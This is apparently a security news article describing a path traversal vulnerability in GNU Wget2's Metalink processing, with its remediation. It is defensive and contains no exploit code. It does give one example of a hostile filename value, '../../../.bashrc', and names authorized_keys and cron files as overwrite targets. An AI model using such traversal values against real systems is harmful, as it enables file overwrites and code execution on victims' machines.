GNU Wget2 Flaw Lets Attackers Overwrite System Files

A path traversal vulnerability in GNU Wget2 allows remote attackers to overwrite arbitrary files on a victim's system. The flaw, tracked as CVE-2025-69194 with a CVSS score of 8.8, exists in how the download tool handles Metalink documents.

Wget2 is the successor to the venerable Wget utility, used by millions of systems for automated file downloads, website mirroring, and content retrieval. Organizations relying on Wget2 for infrastructure automation should prioritize patching.

How the Attack Works

Metalink is a standard that provides multiple download sources for a single file—different mirror servers, checksums, and metadata wrapped in a single document. When Wget2 processes a Metalink file, it's supposed to restrict where downloaded files can be saved.

The vulnerability occurs because Wget2 fails to properly validate file paths specified in Metalink documents. By crafting a malicious Metalink file with directory traversal sequences—the classic "../" pattern—an attacker can escape the intended download directory and write files anywhere on the filesystem that the user running Wget2 can access.

Consider a scenario where a victim downloads what appears to be a legitimate software package via Metalink. The attacker's crafted Metalink specifies a path like ../../../.bashrc as the target filename. Instead of downloading to the expected directory, Wget2 overwrites the user's shell configuration file.

From there, the attacker could achieve code execution the next time the victim opens a terminal, as .bashrc runs automatically on shell startup. Similar attacks could target SSH authorized_keys files, cron configurations, or any other writable location.

Attack Requirements

Exploiting this vulnerability requires user interaction—specifically, the victim must process a malicious Metalink file. This could happen through:

• Downloading a Metalink from a compromised or malicious website
• Processing a Metalink received via email or messaging
• Automated systems that fetch Metalinks from untrusted sources

The interaction requirement limits the severity compared to fully remote exploits, but phishing campaigns regularly demonstrate that user interaction is achievable at scale.

Who's Affected

GNU Wget2 is commonly found on Linux systems, particularly those used for server administration, content mirroring, and automated downloads. The utility is less common than classic Wget on legacy systems but is gaining adoption as the successor project.

Automated infrastructure that processes Metalink files from external sources faces the highest risk. If your download automation trusts Metalink content from third parties, assume it's vulnerable until patched.

Remediation

Update GNU Wget2 to the latest version where the vulnerability has been fixed. The patch adds proper validation of file paths in Metalink documents, blocking directory traversal attempts.

Until patching is possible:

1. Avoid processing Metalink files from untrusted sources
2. Run Wget2 as a low-privilege user to limit what files can be overwritten
3. Use containerization or sandboxing for download operations
4. Monitor for unexpected file modifications in sensitive directories

For organizations using Wget2 in automated pipelines, this vulnerability is a reminder that download tools are attack surfaces. The files they fetch might be expected, but the metadata describing those files—Metalink documents, redirects, filenames—can themselves be weaponized.

Historical Context

Path traversal vulnerabilities have plagued file handling utilities for decades. The classic Wget tool (version 1.x) had its own history of similar issues. The 8.8 CVSS score on this vulnerability reflects both the potential impact of arbitrary file writes and the need for user interaction.

Wget2's adoption of Metalink support—a useful feature for reliable downloads—inadvertently introduced this parsing weakness. It's a recurring pattern: extended functionality creates new parsing logic, and parsing logic creates new vulnerability classes.

For security teams, the takeaway is to treat file retrieval utilities as part of the attack surface. They're often installed by default, run with user privileges, and process external content. That combination makes them attractive targets for exploitation.